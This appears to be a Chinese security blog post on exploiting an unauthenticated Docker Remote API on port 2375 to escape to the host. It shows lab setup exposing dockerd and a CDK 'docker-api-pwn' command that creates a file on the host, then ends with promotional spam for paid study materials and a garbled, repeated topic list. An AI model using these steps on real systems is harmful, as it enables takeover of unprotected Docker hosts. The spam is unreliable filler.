Docker Remote API 逃逸攻击(2375端口)
一、漏洞简介
Docker 2375端口上的 Remote API 存在未授权访问漏洞,攻击者可以借此控制宿主机dockerd创建特权容器完成逃逸。
二、前置知识
Docker 远程管理端口
为了实现集群管理,Docker提供了远程管理接口。Docker Daemon作为守护进程,运行在后台,可以执行发送到管理接口上的Docker命令。正是因为错误地使用了Docker远端接口,引起了安全漏洞,因此在启动Docker Daemon时,加入-H 0.0.0.0:2375,Docker Daemon就可以接收远端的Docker Client发送的指令。Docker是把2375端口作为非加密端口暴露出来,一般是用在测试环境中。此时,没有任何加密和认证过程,只要知道Docker主机的IP,任何人都可以管理这台主机上的容器和镜像。
三、漏洞利用路径
- 检查2375端口:向宿主机2375端口发送HTTP GET请求/info
- 准备恶意容器镜像:向宿主机2375端口发送HTTP POST请求/images/create
- 实施攻击:向宿主机2375端口发送HTTP POST请求,分别用/containers/create和/containers//start创建并启动恶意活动容器,其中容器配置通过JSON在create构造
四、漏洞复现
环境搭建
- ubuntu 20.04
- docker 23.0.2
打开docker远程访问API:
- 打开
/usr/lib/systemd/system/docker.service
文件,在[service]
的ExeStart=...
后面追加:
-H tcp://0.0.0.0:2375 -H unix:///var/run/docker.sock
即:ExecStart=/usr/bin/dockerd -H fd:// --containerd=/run/containerd/containerd.sock -H tcp://0.0.0.0:2375 -H unix:///var/run/docker.sock
- 重启生效
systemctl daemon-reload # 重新加载配置文件
systemctl restart docker
运行攻击容器:
docker run --rm -it --name=docker-api-pwn -v /root/cdk:/cdk ubuntu:20.04 bash
利用:
in container
./cdk run docker-api-pwn http://127.0.0.1:2375 “touch /host/tmp/docker-api-pwn” #ip地址改为宿主机地址或在创建容器时使用host网络
ls /tmp/docker-api-pwn
自我介绍一下,小编13年上海交大毕业,曾经在小公司待过,也去过华为、OPPO等大厂,18年进入阿里一直到现在。
深知大多数网络安全工程师,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!
因此收集整理了一份《2024年网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。
既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点,真正体系化!
由于文件比较大,这里只是将部分目录大纲截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且后续会持续更新
如果你觉得这些内容对你有帮助,可以添加VX:vip204888 (备注网络安全获取)
学习路线:
这个方向初期比较容易入门一些,掌握一些基本技术,拿起各种现成的工具就可以开黑了。不过,要想从脚本小子变成黑客大神,这个方向越往后,需要学习和掌握的东西就会越来越多以下是网络渗透需要学习的内容:
一个人可以走的很快,但一群人才能走的更远。如果你从事以下工作或对以下感兴趣,欢迎戳这里加入程序员的圈子,让我们一起学习成长!
AI人工智能、Android移动开发、AIGC大模型、C C#、Go语言、Java、Linux运维、云计算、MySQL、PMP、网络安全、Python爬虫、UE5、UI设计、Unity3D、Web前端开发、产品经理、车载开发、大数据、鸿蒙、计算机网络、嵌入式物联网、软件测试、数据结构与算法、音视频开发、Flutter、IOS开发、PHP开发、.NET、安卓逆向、云计算
thon爬虫、UE5、UI设计、Unity3D、Web前端开发、产品经理、车载开发、大数据、鸿蒙、计算机网络、嵌入式物联网、软件测试、数据结构与算法、音视频开发、Flutter、IOS开发、PHP开发、.NET、安卓逆向、云计算**